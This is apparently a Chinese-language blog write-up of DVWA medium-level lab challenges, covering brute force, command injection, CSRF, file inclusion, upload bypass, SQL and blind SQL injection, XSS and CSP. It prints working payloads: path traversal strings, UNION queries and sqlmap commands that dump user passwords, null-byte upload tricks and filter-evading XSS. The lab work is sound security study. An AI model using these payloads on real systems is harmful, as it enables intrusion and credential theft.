zoukankan      html  css  js  c++  java
  • dvwa中

    这段时间学了一点东西,打算做一下中等,并且结合OWASP的说明进行理解

    暴力破解

    初级最简单,查看发现代码里多了四行php代码

    image-20210803142150293

    issert 是判断是否为空的布尔类型
    is_object 就是看是否为一个对象
    mysql_real_escape_string() 转义 SQL 语句中使用的字符串中的特殊字符
    trigger_error()  就是输入次数多哪个地方就会回显哪个指定显示的错误
    

    使用'#发现会转义,其他的过滤也不行,直接暴力

    发现使用hydra太麻烦,不如bp直接,hydra需要设置参数,并且把参数给用^来标记

    image-20210803153000546

    可以用PHP-Brute-Force-Attack 检测器来查看是否被WFuzz、OWASP DirBuster 等强力工具和 Nessus、Nikto、Acunetix 等漏洞扫描,也可以使用安全狗、云锁、等安全茶品进行防护。

    命令注入

    对代码的执行进行了防御

     $substitutions = array(
            '&&' => '',
            ';'  => '',
        );
    
    

    把&&,;进行了空转义

    str_replace 三个参数,第一个用来替换第二个参数给第三个参数23333
    str_replace("world","Shanghai","Hello world!");
    输出结果
    Hello shanghai!
    

    因为第一个条件是对ip进行的,如果成功,就ping 加dos命令

    不成功就ping 4个包,既然过滤了&&

    可以尝试|| 进行选择其一

    image-20210803154519894

    这一题就过滤了两个参数...

    这样的还有在url中的filename,通过分号来执行其他语句

    CSRF

    这个学过,可以通过xss图片,放在留言下,等管理员看到,就会被记录cookie,在cookie生效的期间内,找到后台,并且插入cookie,从而获取管理权限

    还可以通过自己创建链接或页面从而达到改密码、增加管理员等效果

     if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )
     stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。
     $_SERVER  服务器和执行环境信息
    

    多了一行这个

    通过判断http的referer来确定是否进行修改,这个不太行,现在唯一的就是http—only来防御攻击好,但灵活性不好

    通过伪造http的referer就行,也可以用modify来指定ip,也可bp修改

    文件包含

    PHP 函数allow_url_include未启用。

    这个是在版本的php的ini里设置的,不是在dvwa的php.ini里设置的

    这个也认识,通过上传文件,默认是php脚本,如果文件不行,就尝试在文件夹里包含文件

    %00截断在url,从而忽略后面的默认脚本类型,通过不断地上翻到根目录,执行指定文件夹的查看

    字节截断,超过文件名限制4096字节,从而忽略php拓展类型

    在使用前,需要base64进行编码,在进行有效负载

    $file = str_replace( array( "http://", "https://" ), "", $file );
    $file = str_replace( array( "../", ".."" ), "", $file );
    

    添加了过滤规则

    尝试用多个来过滤从而查看文件

    http://127.0.0.1/vulnerabilities/fi/?page=....//....//php.ini
    

    http同理就是httpttp

    文件上传

    尝试上传php一句话

    只能上传JPEG or PNG

    通过本地查看审核元素,没有发现实行本地js验证,无检测函数

    而是在提交过程中

    bp上传拦截

    1

    更改图片类型

    上传成功

    2

    php版本小于5.4

    php%00.jpg

    3

    php[空格].jpg

    空格的十六进制代码为20,将其修改为 00。后端在判断文件后缀名的时候遇到%00字符丢弃后面的jpg

    sql注入

    1

    通过sqlmap跑,发现注入点

    image-20210803175707067

    就是用id注入,然后联合查询

    因为是post请求,不是get,所以就在bp里看数据,使用repeater模块进行不断尝试

    确定列

    order 2
    

    联合查询看哪个数据有效

    union select 1,2
    

    image-20210803180713812

    union select version(),database()
    

    image-20210803180813474

    然后爆表名

    union select 1,group_concat(table_name) from information_schema tables where table_schema=dvwa
    

    然后爆列名

    union select 1,group_concat(column_name) from information_schema.columns where table_name=users
    

    然后爆账户、密码

    union select 1,group_concat(user,password) from users
    
    2

    用sqlmap

    --current-db
    

    image-20210803184007633

    --tables -T dvwa
    

    image-20210803184055373

    --column -T users -D dvwa
    

    image-20210803184204266

    --dump -C user,password  -T users -D dvwa --batch
    

    image-20210803184531179

    sql盲注

    1

    同上

    document.cookie
    获取cookie
    
    2

    bp的利用

    因为id直接就是数字,没有引号来过滤

    1 and length(database())=4 #
    

    image-20210803195631274

    说明数据库为4个字符

    之前一直在猜数据库,其实可以不用猜...

    数据库字符
    1 ascii(substr(database(),1,1))=100#
    

    直接就是database()的引入

    等等等

    参考链接,二分法、时间延迟

    https://www.cnblogs.com/aeolian/p/11063164.html

    弱会话

    时间戳转化利用cookie

    https://tool.lu/timestamp

    DOM的XSS

    1

    image-20210803210255006

    url 中 # 后面的字符串是该位置的标识符 (可以是内容, id等)

    #是用来指导浏览器动作的,对服务器端完全无用, 客户端提交请求的时候, 不会将#后面的内容考虑进去。所以,HTTP请求中不包括#

    而且, 单单改变#后的部分,浏览器只会滚动到相应位置,不会重新加载网页

    http://127.0.0.1/vulnerabilities/xss_d/?#default=<script>alert('/chenyouxiu/')</script>
    

    image-20210803211121280

    2

    image-20210803211445228

    随便闭合一个标签,得看条件闭合啥时候符合

    懂得抖动

    2333

    反射性XSS

    多了个

    str_replace
    还是对<sctipt>进行过滤,替换为空
    
    <BODY ONLOAD=alert('XSS')>
    

    在owasp里发现的

    存储型XSS

    strip_tags() 
    函数剥去字符串中的HTML、XML以及PHP的标签,但允许使用<b>标签。
    addslashes() 
    函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串。
    

    image-20210803213555385

    但name没有,对name的

    <script>进行扩写
    <scr<script>ipT>alert(/chenyouxiu/)</scripT>
    

    image-20210803213756750

    CSP

    用于定义可以从何处加载或执行脚本和其他资源

    image-20210803214434782

    image-20210803215607129

    nonce
    一个值 ,并且以不可预测的方式变化
    hash
    允许执行的脚本代码的Hash值,页面内嵌脚本的哈希值只有吻合的情况下,才能执行
    

    所以

    <script nonce=TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=>alert(/chenyouxiu/)</script>
    

    参考owasp

    js

    通过审核元素了解文本属性

    发现js文件

    function do_something(e)
    {
    for(var t="",n=e.length-1;n>=0;n--)
    t+=e[n];
    return t
    }
    setTimeout(function()
    {
    do_elsesomething("XX")},300);
    function do_elsesomething(e)
    {
    document.getElementById("token").value=do_something(e+document.getElementById("phrase").value+"XX")
    }
    

    通过之前的初级,知道phrase就是一个例子,需要自己改

    image-20210803221435318

    结合功能函数do_something(e)

    发现changme反过来了

    直接bp改

    image-20210803224741290

    总结

    再对owasp进行全面的学习

    接下来开始vlb进攻

    别人都在不停的努力,自己又怎么会停
  • 相关阅读:
    RabbitMq 集群配置
    获取 input 单选框和多选框的值
    js 获取 通过 ”?“ 或者 ”&“ url 传过来参数值
    Java 对文件的读取操作
    java 链接jdbc
    了解EBP寄存器
    节后后遗症
    [转]web service实现原理与异步调用
    Javascript实现无刷新分页
    邮件发送
  • 原文地址:https://www.cnblogs.com/chenyouxiu/p/15096784.html
Copyright © 2011-2022 走看看